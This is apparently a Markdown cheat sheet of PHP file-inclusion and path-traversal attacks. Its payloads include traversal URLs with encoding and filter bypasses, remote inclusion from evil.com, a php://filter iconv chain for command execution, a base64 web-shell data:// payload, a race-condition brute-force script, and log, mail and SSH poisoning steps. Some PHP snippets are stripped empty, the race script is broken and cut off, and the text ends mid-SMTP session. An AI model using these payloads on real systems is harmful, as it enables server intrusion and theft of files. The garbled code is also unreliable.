# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary - [File Inclusion](#file-inclusion) - [Summary](#summary) - [Tools](#tools) - [Basic LFI](#basic-lfi) - [Null byte](#null-byte) - [Double encoding](#double-encoding) - [UTF-8 encoding](#utf-8-encoding) - [Path and dot truncation](#path-and-dot-truncation) - [Filter bypass tricks](#filter-bypass-tricks) - [Basic RFI](#basic-rfi) - [Null byte](#null-byte-1) - [Double encoding](#double-encoding-1) - [Bypass allow_url_include](#bypass-allow_url_include) - [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Wrapper php://filter](#wrapper-phpfilter) - [Wrapper zip://](#wrapper-zip) - [Wrapper data://](#wrapper-data) - [Wrapper expect://](#wrapper-expect) - [Wrapper input://](#wrapper-input) - [Wrapper phar://](#wrapper-phar) - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) - [LFI to RCE via upload](#lfi-to-rce-via-upload) - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) - [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) - [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) - [RCE via SSH](#rce-via-ssh) - [RCE via Mail](#rce-via-mail) - [RCE via Apache logs](#rce-via-apache-logs) - [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) - [LFI to RCE via credentials files](#lfi-to-rce-via-credentials-files) - [Windows version](#windows-version) - [Linux version](#linux-version) - [References](#references) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) * [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` Wrappers can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` Also there is a way to turn the `php://filter` into a full RCE. Use [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. ```powershell # vulnerable file: index.php # vulnerable parameter: file # executed command: id # executed PHP code: =`$_GET[0]`;;?> curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" ``` ### Wrapper zip:// 1. Create an evil payload: `echo "
" > payload.php;` 2. Zip the file ```python zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php ``` 3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '' -T input ``` ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: =phpinfo(); ?> ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # ` as `?`) in LFI paths on Windows. * Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`. * Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<` ## LFI to RCE via phpinfo() PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username ``. ```powershell ssh @10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: mail@example.com 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with